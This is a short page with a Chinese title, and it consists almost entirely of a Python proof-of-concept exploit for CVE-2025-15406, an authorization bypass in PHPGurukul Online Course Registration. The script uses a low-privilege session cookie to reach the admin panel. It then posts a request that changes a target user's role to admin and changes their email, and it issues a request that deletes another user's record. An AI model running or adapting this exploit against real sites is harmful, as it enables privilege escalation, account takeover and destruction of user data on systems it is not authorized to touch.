CVE-2025-15406 PHPGurukul在线课程注册系统授权绕过漏洞

import requests import sys # CVE-2025-15406 PoC - Broken Access Control in PHPGurukul Online Course Registration # Target: PHPGurukul Online Course Registration <= 3.1 # Vulnerability: Missing Authorization / IDOR TARGET_URL = "http://target-website.com" ATTACKER_TOKEN = "attacker_session_token" TARGET_USER_ID = 1 # Target admin user ID def exploit_unauthorized_access(): """ This PoC demonstrates the broken access control vulnerability. An authenticated low-privilege user can access admin functions. """ headers = { 'Cookie': f'PHPSESSID={ATTACKER_TOKEN}', 'Content-Type': 'application/x-www-form-urlencoded' } # Step 1: Access admin panel without proper authorization admin_panel_url = f"{TARGET_URL}/admin/index.php" response = requests.get(admin_panel_url, headers=headers) if response.status_code == 200: print("[+] Successfully accessed admin panel!") # Step 2: Modify user data (IDOR vulnerability) modify_url = f"{TARGET_URL}/admin/user-management.php" payload = { 'userid': TARGET_USER_ID, 'action': 'modify', 'role': 'admin', 'email': '[email protected]' } response = requests.post(modify_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Successfully modified user data without proper authorization!") # Step 3: Access/delete other user records delete_url = f"{TARGET_URL}/admin/user-management.php?action=delete&id=2" response = requests.get(delete_url, headers=headers) if response.status_code == 200: print("[+] Successfully deleted user record - Broken Access Control confirmed!") if __name__ == "__main__": print("CVE-2025-15406 - PHPGurukul Online Course Registration Authorization Bypass") exploit_unauthorized_access()